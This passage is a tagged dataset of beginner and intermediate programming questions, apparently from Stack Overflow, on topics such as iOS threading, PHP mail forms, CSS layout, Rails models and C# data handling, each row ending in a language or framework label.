how to find conflicting thread in frozen ui  i am having ui frozen/blocked due to semaphore_wait_trap in main thread.    when the ui is frozen  i pause using xcode and the last two lines in stacktrace:   <pre><code>0x103f0ea30 &lt;+809&gt;:  callq  0x103f1554d               ; _dispatch_thread_semaphore_wait  dispatch_sync(somequeue  block);  // this is my code. </code></pre>   how can i find what is causing the block     any other suggestion to find out what is causing the block     it always blocks on the same line/code.,ios
php mail not sending  despite positive response  just came back to a project i d dropped for a while. i have a simple form on the top of the page (debatecalendar.com) that appears on a button push.    i fill in the form  and i get a success notification  but no email seems to arrive on my end. not sure how to bug-fix it. any help appreciated!    the code on the home page is   <pre><code>// init the form once the document is ready jquery( init );   // initialize the form  function init() {    // hide the form initially.   // make submitform() the forms submit handler.   // position the form so it sits in the centre of the browser window.   jquery( #contactform ).hide().submit( submitform ).addclass(  positioned  );    // when the  send us an email  link is clicked:   // 1. fade the content out   // 2. display the form   // 3. move focus to the first field   // 4. prevent the link being followed    jquery( a[href= #contactform ] ).click( function() {     jquery( #content ).fadeto(  slow   .2 );     jquery( #contactform ).fadein(  slow   function() {       jquery( #sendername ).focus();     } )      return false;   } );    // when the  cancel  button is clicked  close the form   jquery( #cancel ).click( function() {     jquery( #contactform ).fadeout();     jquery( #content ).fadeto(  slow   1 );   } );     // when the  escape  key is pressed  close the form   jquery( #contactform ).keydown( function( event ) {     if ( event.which == 27 ) {       jquery( #contactform ).fadeout();       jquery( #content ).fadeto(  slow   1 );     }   } );  }    // submit the form via ajax  function submitform() {   var contactform = jquery(this);    // are all the fields filled in     if ( !jquery( #sendername ).val() || !jquery( #senderemail ).val() || !jquery( #message ).val() ) {      // no; display a warning message and return to the form     jquery( #incompletemessage ).fadein().delay(messagedelay).fadeout();     contactform.fadeout().delay(messagedelay).fadein();    } else {      // yes; submit the form to the php script via ajax      jquery( #sendingmessage ).fadein();     contactform.fadeout();      jquery.ajax( {       url: contactform.attr(  action  ) +   ajax=true         type: contactform.attr(  method  )        data: contactform.serialize()        success: submitfinished     } );   }    // prevent the default form submission occurring   return false; }  // handle the ajax response  function submitfinished( response ) {   response = jquery.trim( response );   jquery( #sendingmessage ).fadeout();    if ( response ==  success  ) {      // form submitted successfully:     // 1. display the success message     // 2. clear the form fields     // 3. fade the content back in      jquery( #successmessage ).fadein().delay(messagedelay).fadeout();     jquery( #sendername ).val(    );     jquery( #senderemail ).val(    );     jquery( #message ).val(    );      jquery( #content ).delay(messagedelay+500).fadeto(  slow   1 );    } else {      // form submission failed: display the failure message      // then redisplay the form     jquery( #failuremessage ).fadein().delay(messagedelay).fadeout();     jquery( #contactform ).delay(messagedelay+500).fadein();   } } </code></pre>       and then it s on to the processing of the form  in processform.php  which reads   <pre><code>&lt; php  // define some constants define(  recipient_name    debate calendar  ); define(  recipient_email    events@debatecalendar.com  ); define(  email_subject    feedback or add event  );  // read the form values $success = false; $sendername = isset( $_post[ sendername ] )   preg_replace(  /[^\.\-\  a-za-z0-9]/       $_post[ sendername ] ) :   ; $senderemail = isset( $_post[ senderemail ] )   preg_replace(  /[^\.\-\_\@a-za-z0-9]/       $_post[ senderemail ] ) :   ; $message = isset( $_post[ message ] )   preg_replace(  /(from:|to:|bcc:|cc:|subject:|content-type:)/       $_post[ message ] ) :   ;  // if all values exist  send the email if ( $sendername &amp;&amp; $senderemail &amp;&amp; $message ) {   $recipient = recipient_name .   &lt;  . recipient_email .  &gt; ;   $headers =  from:   . $sendername .   &lt;  . $senderemail .  &gt; ;   $success = mail( $recipient  email_subject  $message  $headers ); }  // return an appropriate response to the browser if ( isset($_get[ ajax ]) ) {   echo $success    success  :  error ; } else {  &gt; &lt;html&gt;   &lt;head&gt;     &lt;title&gt;thanks!&lt;/title&gt;   &lt;/head&gt;   &lt;body&gt;   &lt; php if ( $success ) echo  &lt;p&gt;thanks for sending your message! we ll get back to you shortly.&lt;/p&gt;   &gt;   &lt; php if ( !$success ) echo  &lt;p&gt;there was a problem sending your message. please try again.&lt;/p&gt;   &gt;   &lt;p&gt;click your browser s back button to return to the page.&lt;/p&gt;   &lt;/body&gt; &lt;/html&gt; &lt; php }  &gt; </code></pre>   all of this code was mashed together from various online examples   and any help in clearing up my mess would be appreciated!,php
jquery find img tag and get src from it  i have this js code:   <pre><code>var imgjpg = jquery( img[src$= .jpg ]    &lt;div&gt;  +               fullcode +  &lt;/div&gt; ).attr( href ); </code></pre>   however  it does not seem to pick up the src of the image   fullcode is the html source code.    the html:   <pre><code>&lt;strong&gt;&lt;span style= font-size: small; &gt; &lt;img class= alignleft  title= ashe  src= http://www.website.org/san-logo.jpg   alt=   width= 198  height= 192  /&gt;design (d) is an at the annual conference   held july 15-18  2012 in san  florida.&lt;/span&gt;&lt;/strong&gt; </code></pre>   am i missing something,jquery
clear the screen stack in an ios app  i have <em>splashscreen -> sign up -> sign in -> mainscreen</em> screens. and in the mainscreen it s not necessary to remember all screen stack (i mean i can return to sign up/sign in screens  but i should not have this possibility). how can i close unnecessary screens  is it good approach when developing for the ios ui,ios
mysql non index queries analysis  i m using the log queries not using index but it logs all that use indexes but just more advanced or using ifs.    is there a parser or a program out there that can analyze the log and give me a literal output of saying  table.column should be a index     thanks,mysql
overflow (scroll) - 100% container height  i m trying to have a floated div (call it  sidebar ) display 100% of container height  and scroll if necessary.    if the sidebar has more content (height) than the container would have otherwise  it should scroll.    content is dynamic and fixed heights aren t possible.    i d like to avoid tables if possible  but would use them if that was the only solution.    i don t want to use javascript.    this effect can be achieved with tables  if the table  body  and cells are all given 100% height  and in one cell a div with height:100% and overflow:scroll is set.  this works in webkit (safari and chrome) as well as ie  but fails in gecko (fx) -  fails  means that the div with more content than the container will expand the container (again only in fx).  the same idea works in webkit if using divs with display:table/table-row/table-cell  but fails in both fx and ie.  i can provide a sample of this if it d be helpful.    this effect could also be achieved using an iframe with height:100%  which seems to work in all modern browsers  but i d like to avoid unnecessary iframes if possible as well.    i have to think that since it s possible using the above  hacks  it might be possible using table-less  frame-less css  but is beyond my level of understanding.    any suggestions   tyia.,css
iphone: i want to use openmenu api for use restaurant data in iphone how can i achive that   hi friends    <pre><code>       i want to use openmenu api for used thair restaurant data. </code></pre>   now i am using this link for api refference <a href= http://openmenu.com/api/  rel= nofollow >openmenu</a>,iphone
while starting rails server getting an error the application has failed to start because its side by side configuration is incorrect  here is the exact error-   <pre><code>c:/railsinstaller/ruby1.9.3/lib/ruby/gems/1.9.1/gems/rmagick-2.12.0/lib/rmagick. rb:11:in `require : 14001: the application has failed to start because its side- by-side configuration is incorrect. please see the application event log or use the command-line sxstrace.exe tool for more detail. c:/railsinstaller/ruby1.9.3/lib/ruby/gems/1.9.1/extensions/x86-mingw32/1.9.1/rmagick-2.12.0/rmagick2.so (loaderror) </code></pre>,ruby-on-rails
nsmutablearray removeallobjects issue  here is my scenario:  i am building a location finder using the iphone mapkit. i have an array stored in the application delegate to hold the information about the location of a store (name  address  etc.). when a certain button is pressed  a view slides in with a textfield and a button which performs a lookup of the users input  and returns all of the necessary information.    all of this works fine and the points get plotted onto the map. however  if i go and try to do a search a second time  the application crashes. i am trying to remove all of the objects from the array when the xml parser begins:   <pre><code>- (void)parserdidstartdocument:(nsxmlparser *)parser {     [datatempforsearch removeallobjects]; } </code></pre>   and the debugger simply puts an arrow on the method call with no real explanation as to why...    has anyone run into a scenario like this before  any thoughts as to why this might be happening only on the second time the action is performed,objective-c
rounding a double to two decimal places without using decimalformat  i wanted to know is it possible format a double to round to two decimal places with trailing zeros without using <code>decimalformat</code>  or importing anything for that matter  i ve been trying to think of one for the past half hour and i can t figure it out.,java
iphone sdk hide uitextview on uibutton click  im new to iphone sdk programming  and have been stuck on this problem for days.    i want a button that toggles a uitextview. first click shows the textbox  second click hides it and so on.    it sounds very simple,objective-c
format of 2013-04-09t10:00:00z in php  i m looking for the <code>date()</code> format that will give me a date like this:   <pre><code>2013-04-09t10:00:00z </code></pre>   is there something simpler than just using the format <code> y-m-d ... </code>,php
access current_user in model  i have 3 tables    <pre><code>items (columns are:  name   type) history(columns are: date  username  item_id) user(username  password) </code></pre>   when a user say  abc  logs in and creates a new item  a history record gets created  with the following after_create filter. how to assign this username ‘abc’ to the username field in history table through this filter.   <pre><code>class item &lt; activerecord::base   has_many :histories   after_create :update_history   def update_history     histories.create(:date=&gt;time.now  username=&gt;  )    end end </code></pre>   my login method in session_controller   <pre><code>def login   if request.post      user=user.authenticate(params[:username])     if user       session[:user_id] =user.id       redirect_to( :action=&gt; home )       flash[:message] =  successfully logged in       else       flash[:notice] =  incorrect user/password combination        redirect_to(:action=&gt; login )     end   end end </code></pre>   i am not using any authentication plugin. i would appreciate if someone could tell me how to achieve this without using plugin(like userstamp etc.) if possible.,ruby-on-rails
print hr depending on ng-model value  i have a input type number as follows:   <pre><code>&lt;input type= number  ng-model= question.numberoflines  min= 1  max= 5  /&gt; </code></pre>   this is stored inside an object on my scope:   <pre><code>$scope.question = {        questiontext:            size:            alignment:            color:            numberoflines:            htmllines:    } </code></pre>   how can i make so when <code>numberoflines</code> changes of value <code>(1 2 3 4  etc)</code> <code>htmllines</code> gets the same number of <code>&lt;hr /&gt;</code> as its value  i m having trouble trying to figure this out. any help would be appreciated,angularjs
how to keep the page without overlapping the entire page  if you open the below link  the content part is overlapped by id #a and #b   my entire webpage is overlapped by those id s if i change the  path absolute to relative the #a #b  toggle script wont work. how to keep the toggle body height varies by text  like text height equal to height of the toggle body.    <a href= http://jsfiddle.net/m6xjt/10/  rel= nofollow >http://jsfiddle.net/m6xjt/10/</a>,css
how to create zip file in asp.net  i need to create zip file from the folder  path:   <pre><code>d:\nagaraj\new project read document\tcbilpos\tcbilpos\tcbilpos\filebuild\host </code></pre>   within that host folder there are <code>7</code> txt files.    i want to create zip file <code>host.zip</code> in the folder above:   <pre><code>d:\nagaraj\new project read document\tcbilpos\tcbilpos\tcbilpos\filebuild </code></pre>   thanks in advance.,asp.net
understnding postion parameter in getview method of simplecursoradapter android  i would like to understand in detail the significance of position parameter in getview method of adapter.in a listview i would like to set custom adapter with textview and button.<br> the code is mentioned below.   <pre><code>  public view getview(final int position  view convertview  viewgroup parent)      {           try         {             if(convertview==null)             {             layoutinflater inflater = context.getlayoutinflater();                convertview = inflater.inflate(r.layout.contactslist  null);               name = (textview) convertview.findviewbyid(r.id.contactname);             number = (textview) convertview.findviewbyid(r.id.contactmobnum);              call=(button)convertview.findviewbyid(r.id.callcust);             }             name.settext(cursor.getstring(1));             number.settext(cursor.getstring(2));             cursor.movetonext();             call.setonclicklistener(new onclicklistener() {                  @override                 public void onclick(view v)                  {                                             log.i( testing   position selected is  +position);                                           }                                                  });          } catch(exception e) {             log.d( testing    isdefault::: exec +e);         }          return convertview;     }   </code></pre>   if suppose i have total 10 items in the cursor and i click on 5th position call button what is the expected result <br> will it be 10 or 5 <br> am confused because i used base adapter earlier and have experienced it as 10 but in the above code it returns 5 please let me understand if the position returns the row id only while row is added in list or it also returns you the selected row id <br> looking forward for better understanding,android
is scope the same of variables and lists in python  <pre><code>a = 1.111111 b = [ a    b ]   def adder(x  y):     x = x *100000     y[0] =  herman      return x  y  print a print b print     adder(a b)  print a # 1.111111 - has not updated print b # [ herman    b ] - has updated even if list is in gobal scope </code></pre>   is scope the same for lists and vars and other objects in python  in the test above  the var a was not updated when i called/invoked the function adder  however  the list was updated. this would imply that global vars are not changeable from within functions  but that lists and other data container objects like dictionaries are.    is that correct  is there any easy way to model this idea in of scope mentally in my head,python
is there a way to make a page use my own custom css live from my pc   like the title says  is there a way to have a css file on my machine and make it so that when i open a page for example google/facebook/youtube  something not made by me  that page uses my css to override existing styles  much like when you use the inspect tool or firebug,css
site.master changes  i started out with a basic site.master.  after i laid out several pages  i have found that i need to make changes to the site.master.  the changes show up while i am working in visual studio  but when i run the application  they don t take effect.  what do i need to do to have them show up,asp.net
validating two columns in rails  i doing validation in my grades but it not working here my model for my grades   <pre><code>class grade &lt; applicationrecord enum grade_type: %w(first_grading second_grading third_grading forth_grading) #enum grade_type: [:first_grading  :second_grading  :third_grading  :forth_grading]  belongs_to :student_subject  validates :grade_type  uniqueness:{scope: [:student_subject_id  :score]}  presence: true validates :status  :student_subject_id  presence: true  end </code></pre>   but when i input first grading with different score in wont validate    this is my desire output   <hr>   (score: 85 student_subject_id: 2 grade_type: 0 status: test) (score: 85 student_subject_id: 1 grade_type: 0 status: test) (this is correct)    (score: 85 student_subject_id: 2 grade_type: 0 status: test) (score: 83 student_subject_id: 1 grade_type: 0 status: test) (this is correct),ruby-on-rails
different classes made by type with the same name in python   i was playing around with metaclasses in python and found something very curious. i can create two classes with the same name  but that are actually different objects. see:   <pre><code>&gt;&gt;&gt; def create_class(**data): ...     return type( myclass   (object )  data) ...  &gt;&gt;&gt; a = create_class(x=1  y=2) &gt;&gt;&gt; b = create_class(x=1  y=2) &gt;&gt;&gt; a &lt;class  __main__.myclass &gt; &gt;&gt;&gt; b &lt;class  __main__.myclass &gt; &gt;&gt;&gt; a == b false &gt;&gt;&gt; a = a() &gt;&gt;&gt; b = b() &gt;&gt;&gt; type(a) &lt;class  __main__.myclass &gt; &gt;&gt;&gt; type(b) &lt;class  __main__.myclass &gt; &gt;&gt;&gt; type(a) == type(b) false </code></pre>   i thought names within a namespace should be unique. is it not the case  then,python
saving a key-value pair in method hooking process -xposed  how can i save a key-value pair using xsharedpreferences in my app package directory while during the hooking of another package s class method  (my app s context not available available at that time). i tried to call xsharedpreferences.edit() to get editor. but it was deprecated. how can i achieve it,android
angularjs: better way to display success messages <pre><code>$( body ).on( click    #save-btn   function () {        $( #greetingsmodal ).modal( show );   });   &lt;div id= greetingsmodal  class= modal hide fade  tabindex= -1  role= dialog  aria-  labelledby= mymodallabel  aria-hidden= true &gt; &lt;div class= alert alert-success &gt;              &lt;a href= ../admin/supplier  class= close  data-dismiss= alert &gt;x&lt;/a&gt;     &lt;strong&gt;well done!&lt;/strong&gt;. &lt;/div&gt; </code></pre>      i want to display a popup message using the above styles whenever  save-btn  is clicked. the above code works fine but there is a lot of time delay by doing it this way. is there any way to display such a alert message <strong>using angular</strong>,angularjs
can t connect to mysql server on  domain  (111)  i know it looks like a duplicate question  but i tried a couple of things and they still didn t work.    i want to connect to mysql on a machine <code>10.9.244.43</code> from another machine <code>10.102.5.83</code>. but when i try to <code>mysql -h10.9.244.43 -uroot -p</code>  i get the following error:   <pre><code>error 2003 (hy000): can t connect to mysql server on  10.9.244.43  (111) </code></pre>   i checked and commented bind-address in /etc/mysql/my.cnf. but it still not able to connect.    when i tried the following commands on 10.9.244.43:   <pre><code>select user() current_user(); </code></pre>   i got:   <pre><code>+----------------+----------------+ | user()         | current_user() | +----------------+----------------+ | root@localhost | root@localhost | +----------------+----------------+ </code></pre>   when i tried:   <pre><code>show grants; </code></pre>   i got the following:   <pre><code>+----------------------------------------------------------------------------------------------------------------------------------------+ | grants for root@localhost                                                                                                              | +----------------------------------------------------------------------------------------------------------------------------------------+ | grant all privileges on *.* to  root @ localhost  identified by password  *e7c06d40357612837106427cd0f2b2058  with grant option | | grant proxy on   @   to  root @ localhost  with grant option                                                                           | +----------------------------------------------------------------------------------------------------------------------------------------+ </code></pre>   how should i fix this,mysql
json dll not working  hey guys  i was using json dll in my project from quite sometime now but recently bymistakely i deleted those dll s now when i downloaded the dll from internet and added the reference to the assembly using add-reference  and run my application  it throws me this error    <code> could not load file or assembly  newtonsoft.json  or one of its dependencies. this assembly is built by a runtime newer than the currently loaded runtime and cannot be loaded. </code>    i am totally got stuck here   i dont understand why i am getting this error and how to resolve the same...    please anyone knows how to resolve this issue please revert back soon  as this is very urgent..    thanks and regards abbas electricwala,.net
how to deploy a folder with a console app  i have a console app that references a dll that includes a folder of content. when i build the app i can correctly see the folder in bin/debug containing the content. when i try and publish the same app that folder is missing.    i can get around it by adding the folder directly  into the app and adding the content files as links  but this is quite brittle as it will not pick up new files added into the dlls content folder.    is there a way of telling publish to include a subfolder from the build,.net
iphone uiwebview - open new uiwebview controller from a hyperlink  i have an embedded website that has many links but the webview window is fairly small to allow for a larger image above the list to be zoomed in and out.  i need the webview to respond to hyperlinks into a new controller view with a second embedded uiwebview if at all possible.,iphone
why i cant use $(this) in success function of jquery in case of ajax request   when click on label i write code for ajax request and in <code>succeess</code> function i write code for change it s class by using <code>$(this)</code> but its not working. why  and how to achieve that,jquery
how to increment a string in python   i found a somewhat related question but without an actual answer. <a href= https://stackoverflow.com/questions/33443364/how-can-i-construct-a-python-string-that-is-16-bytes-long >how to increment a hex value in string format in python </a> so  i am going to ask: how do i increment the following 32-byte string by 1   <pre><code>the_string =  \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0  </code></pre>   so that the_string takes on the values of...   <pre><code>the_string =  \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1  the_string =  \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2  the_string =  \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3  </code></pre>   in successive iterations. i tried...   <pre><code>    the_string =  \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1  + 1 typeerror: cannot concatenate  str  and  int  objects </code></pre>,python
unable to run the specified macro  this is the sample code   <pre><code>wrdapp.run( macro1   ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing     ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing     ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing     ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing  ref omissing); </code></pre>   when i am trying to run the application  @ the above line it is throwing the following error.    com exception: unable to run the specified macro.    i am reading a template and then performing some operations.    please help me    regards    sarayu,.net
using objectbindingdatasource to bind to object exposing lists  cant drag and drop fields onto report designer  ive used the objectbindingdatasource to bind to a class ive called  reportviewmodel  which contains properties such as     list companies {get; set;} list managers {get; set;}    in its constructor im just calling a method to populate with dummy data    managers = new reportdatarepository().getmanagers(); companies = new reportdatareposiroty().getcompanies(); ...    when i create the new datasource   it shows the reportviewmodel class with the lists under it. i expand the companies object and attempt draging and dropping fields onto the report designer and it works. though doesnt allow me to drag and drop for any other list.    any guidance would be really appreciated.,c#
expected double value to display two zeros after precision value  i have a scenario where we need to display two zeros i.e 00 after the precision for double value. but unfortunately java is not returning the second zero.    i have tried the below way but it is returning only one zero after decimal.   <pre><code>double inputvalue = 12345.00; double d = ((bigdecimal.valueof(inputvalue)).setscale(2 roundingmode.up)).doublevalue(); </code></pre>   expected output: 12345.00 but it is returning 1234.0.,java
retrieving the com class factory for component with clsid failed due to the following error: 80040154  when running my script i get error:    <blockquote>    retrieving the com class factory for component with clsid   {000209ff-0000-c000-000000000049} failed due to the following   error: 80040154.  </blockquote>   what is the cause of this      the platform is running on x86    this is not a duplicate. the other one didn t have an accepted answer so and it involves microsoft office  in which mine doesn t so it s not,.net
adding base_url() to header  is it possible to have something like the following but which actually works    <pre><code>header( location: base_url(). page.php x=3 );  </code></pre>,php
how to insert text into textboxes created during runtime (wfa)  i want to insert text into textboxes creating during run time user can decide how many textboxes will create (range 1-99) i am using this code to create textboxes   <pre><code>            for (int i = 0; i &lt; calculation.num; i++)         {              textbox txtrun = new textbox();             txtrun.name =  txtbox  + i;             txtrun.location = new system.drawing.point(35  50 + (20 * i) * 2);             txtrun.size = new system.drawing.size(75  25);             this.controls.add(txtrun);                         } </code></pre>   suppose user create 5 textboxes it will look like this    <img src= https://i.stack.imgur.com/4tucd.png  alt= form with 5 textboxes >    after that user insert numbers in each textbox then click calculate then all numbers stored in array using this code   <pre><code>            button btn = sender as button;         if (btn.name.equals( btn1 ))         {             var sum = this.controls.oftype&lt;textbox&gt;()                 .where(t =&gt; char.isdigit(t.name.reverse().take(1).firstordefault())                     &amp;&amp; t.enabled)                 .select(t =&gt;                 {                     double i;                     if (!double.tryparse(t.text  out i)) { return 0d; }                      numbersholder[abc] = i;                                            abc++;                                              return i;                 })                 .sum();          } </code></pre>   after that i want to calculate those numbers if number is between 70-76 replace that number with 2.75 if it is between 77-79 replace it with 3.0 if it is between 80-86 replace with 3.3 and if it is 87-100 replace with 4.0,c#
serialization in windows forms using restapi  iam using serialization concept in transforming user information to the datbase in windows forms using restapi.but iam getting some errors.can anyone help me plz                    <pre><code>            httpwebresponse response = (httpwebresponse)request.getresponse();             length = response.contentlength;             streamreader myreader = new streamreader(response.getresponsestream());             string mydata = myreader.readtoend();             var jss = new javascriptserializer();             string json = myreader.(context.request.inputstream).readtoend();             dictionary&lt;string  string&gt; sdata = jss.deserialize&lt;dictionary&lt;string  string&gt;&gt;(json);             response.close();              string hello =  test ; </code></pre>,.net
how to get the user_id from a form to the controller in rails  this is how i display the user s email in my dropdown   <pre><code>     &lt;%= collection_select(:user  :id  user.all(:conditions =&gt; [ company_name=    $company])  :user_id  :email  :prompt=&gt; select a user ) %&gt; </code></pre>   this is the parameters being generated:   <pre><code>      parameters: { commit =&gt; submit    utf8 =&gt; ✓    from_date =&gt; december 7  2011 6:45 am    to_date =&gt; december 9  2011 7:45 am    user =&gt;{ user_id =&gt; 12 }} </code></pre>   once hitting the submit button it has to display the details with the help of user_id and my index function of the controller looks like this   <pre><code>      def index       if (!params[:user][:user_id].nil )          user_id = params[:user][:user_id]          else         user_id = current_user.id        end </code></pre>   but i get an error like this:   <pre><code>       you have a nil object when you didn t expect it!        you might have expected an instance of array.        the error occurred while evaluating nil.[] </code></pre>   what could be wrong please help thanks in advance,ruby-on-rails
border-bottom not going across completely  i have a subnav that has a border-bottom under each of the sub menu items  when i was checking to see if it was ok in all the browsers i noticed that the border-bottom stopped where the text ended in ie7.    here is my css   <pre><code>.subnav_wrapper_ul { background: none repeat scroll 0 0 #00aeef; font-size: 13px !important; position: absolute; top: 34px; z-index: 1000; }  .header-wrapper .main-nav li { float: left; list-style: none outside none; position: relative; white-space: nowrap; z-index: 1000; } .subnav_wrapper_ul li { border-bottom: 1px dotted #ffffff; float: none !important; padding: 0; width: 100%; } </code></pre>   if there is anything else that you need from me please let me know,css
do iphone developers qualify for adc hardware discount  if so  what do you need to provide online and in a real apple shop. i am gonna check it myself  but am asking for a heads up.,iphone
how to persist search term in the field  i am using ruby on rails and have a search form like:   <pre><code> &lt;%= form_tag  /findblood  do %&gt;         blood group   &lt;%= text_field_tag  bloodgroup  %&gt;         &lt;%= submit_tag  search   class:  btn btn-large btn-primary %&gt;     &lt;% end %&gt; </code></pre>   this works as expected however  on submit the bloodgroup field clears and as a result probably pagination breaks. how to retain this field,ruby-on-rails
.net command line utilities  dumpbin.exe and coreflag.exe  what exactly is the use of dumpbin.exe as well as coreflag.exe   and when to use it,.net
counting checked checkboxes using jquery (keeps returning 0)  i would like to create an alert once too many check boxes have been checked.    please see the setup here:    <a href= http://jsfiddle.net/wdbej/2/  rel= nofollow >http://jsfiddle.net/wdbej/2/</a>    at the moment - the alert keep returning 0 - rather than counting the checkboxes...    any suggestions would be great thanks!,jquery
how to read multiple addresses  value in loop c#  i have a bunch of addresses that i have dumped in a file and would like to read the value of each address and write it to another file. i have tried this   <pre><code>foreach (string s in lines) {     int address = convert.toint32(s  16);     intptr _address = new intptr(address);     readprocessmemory((int)processhandle  _address  buffer  buffer.length  ref bytesread);     using (system.io.streamwriter file = new system.io.streamwriter(@ dump.dump   true))     {         console.writeline(encoding.utf8.getstring(buffer) + s);     } } </code></pre>   and i have used the readprocessmemory is declared as   <pre><code>[dllimport( kernel32.dll )]     public static extern bool readprocessmemory(int hprocess  intptr lpbaseaddress  byte[] lpbuffer  int dwsize  ref int lpnumberofbytesread); </code></pre>   this gives me a rather odd result in the console and in the file so i guess the conversion from the <code>string[] lines</code> which contain the addresses read from a text file (each in a new line) in the format of    <pre><code>10418cf3 1063dead 1063deca 1063deed 1063df4b 1063e271 //etc  console.writeline( enter filename: ); string[] lines = system.io.file.readalllines(console.readline()); </code></pre>   without the leading <code>0x</code> to indicate it s in hex. should i just loop through every line and add the <code>0x</code> in front of the line or is there and easier way to do it from the state it is in,c#
crash copying nsarray into nsmutablearray  i am trying to copy nsarray into nsmutablearray using the below code  but it crashes with the uncaught exception error.    actual response array result:   <pre><code>dataroot = (     1      2      3 ); </code></pre>   code:   <pre><code>@interface mobiletestviewcontroller () {     nsmutablearray *mainmutarray ; } @end  @implementation mobiletestviewcontroller - (void)viewdidload {     [super viewdidload];     mainmutarray = [[nsmutablearray alloc]init]; }  nsmutablearray *responsearray = [nsjsonserialization jsonobjectwithdata:data options:0 error:&amp;parseerror];  nsarray *dataarray = [responsearray valueforkey:@“dataroot”]; mainmutarray = [[nsmutablearray alloc] initwitharray: dataarray];  @end </code></pre>   error   <blockquote>    *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[__nscfnumber isequaltostring:]: unrecognized selector sent to instance 0xb000000000000013   </blockquote>   how can i properly copy that array into a nsmutablearray.,objective-c
how to display and update data in textbox of asp.net by using stored procedure   i want to update user information .so first i want when user click on update button than all the field display with their values in text box so that user can able to edit his profile. i got an error :procedure or function  updatefill  expects parameter  @email   which was not supplied. please help me out from this error... thank you.   <pre><code>public partial class updateuser : system.web.ui.page {     sqlconnection con = new sqlconnection(configurationmanager.connectionstrings[ cnstr ].connectionstring);     sqlcommand cmd;     sqldataadapter da;     datatable dt;     sqldatareader dr;     string str1=  ;     protected void page_load(object sender  eventargs e)     {          {             con.open();             cmd = new sqlcommand( updatefill   con);             cmd.commandtype = commandtype.storedprocedure;             da = new sqldataadapter(cmd);             dataset ds = new dataset();             da.fill(ds  registr );             fname.text = ds.tables[ registr ].rows[0][ fname ].tostring();             lname.text = ds.tables[ registr ].rows[0][ lname ].tostring();             uid.text = ds.tables[ registr ].rows[0][ email ].tostring();             pwd.text = ds.tables[ registr ].rows[0][ password ].tostring();             pwd1.text = ds.tables[ registr ].rows[0][ confirmpassword ].tostring();             mbl.text = ds.tables[ registr ].rows[0][ mobile ].tostring();             con.close();             }     }     protected void radiobutton1_checkedchanged(object sender  eventargs e)     {          if (radiobutton1.checked)         {             str1 =  male ;         }         else if (radiobutton2.checked)         {             str1 =  female ;         }         else         {             str1 =  please select gender ;         }     }     protected void radiobutton2_checkedchanged(object sender  eventargs e)     {      }     protected void button2_click(object sender  eventargs e)     {         con.open();         cmd = new sqlcommand( update_user_details   con);         cmd.commandtype = commandtype.storedprocedure;         cmd.parameters.add( @fname   sqldbtype.varchar).value = fname.text;         cmd.parameters.add( @lname   sqldbtype.varchar).value = lname.text;         cmd.parameters.add( @email   sqldbtype.varchar).value = uid.text;         cmd.parameters.add( @mobile   sqldbtype.varchar).value = mbl.text;         cmd.parameters.add( @password   sqldbtype.varchar).value = pwd.text;         cmd.parameters.add( @confirmpassword   sqldbtype.varchar).value = pwd1.text;         cmd.parameters.add( @gender   str1);          dt = new datatable();         da = new sqldataadapter(cmd);         da.fill(dt);         int s = convert.toint32(dt.rows[0][0]);         if (s == 1)         {              errmsg.text =  update successfull ;             response.redirect( userhome.aspx );          }         else         {             errmsg.text =  update faild ;              con.close(); }   alter procedure [dbo].[updatefill] @email varchar(50)   as begin      select * from registr where email=@email end </code></pre>,asp.net
c++ -- should i call the base class default constructor in the initialization list  <pre><code>class a : public b {     ... }  // case i : explicitly call the base class default constructor a::a() : b() { ... }  // case ii : don t call the base class default constructor a::a() // : b() { ... } </code></pre>   is the case ii equal to case i     to me  i assume that the default constructor of base clasa b is not called in case ii.    thank you    /// update ///   <pre><code>class b { public:     b()     {         cout &lt;&lt;  b constructor  &lt;&lt; endl;     } }; class a : public b { public:     a()     {         cout &lt;&lt;  a constructor  &lt;&lt; endl;     } };  int _tmain(int argc  _tchar* argv[]) {     a a;     return 0; } </code></pre>   // output from vs2008   <pre><code>b constructor a constructor press any key to continue . . . </code></pre>,c++
what does  return this  do when augmenting types   crockford s book javascript the good parts talks about a function for augmenting basic types. his function looks like this:   <pre><code>function.prototype.method = function (name  func) {     this.prototype[name] = func;     return this; } </code></pre>   i don t understand how / why the  this  variable is used here. i ve only used  this  when calling that function with  new   but this function is instead called like this:   <pre><code>number.method( integer   function () {     return math[this &lt; 0    ceil  :  floor ](this) }); </code></pre>,javascript
highlight a row in table html which has a value exceed the avg  i have a table which is looks like this. <a href= https://i.stack.imgur.com/myc4j.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/myc4j.png  alt= mytable ></a>    what i want to do is  i want to highlight (yellow color) which row has usage per 1k higher than the average. the result should looks like this. <a href= https://i.stack.imgur.com/rx5ld.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rx5ld.png  alt= enter image description here ></a>    here is my code to make a row been hightlight when exceed value of average  but i cannot change the value <code>if($row[ duh ]&gt; 0.77 )</code> to the <code>if($row[ duh ]&gt; $avg )</code> because it will hightlight all the rows.   <pre><code>$no   = 1; while ($row = mysqli_fetch_array($result)) {   $month1=strtotime($row[ month ]);   $month=date( m-y  $month1);   $store_name=$row[ store_name ];   $netamt1=$row[ netamt ];   $netamt11=number_format($netamt1 2);   $usage1=$row[ monusage ];   $usage11=number_format($usage1 2);   $answer=$usage1/$netamt1*1000;   $answer1=number_format($answer 2);   $total+=$answer1;   $avg=$total/$no;   $duh = number_format($row[ duh ] 2);     echo  &lt;tr&gt; ;     echo  &lt;td&gt; .$no. &lt;/td&gt; ;     echo  &lt;td&gt; .$store_name. &lt;/td&gt; ;     echo  &lt;td&gt; .$date2111. &lt;/td&gt; ;    echo  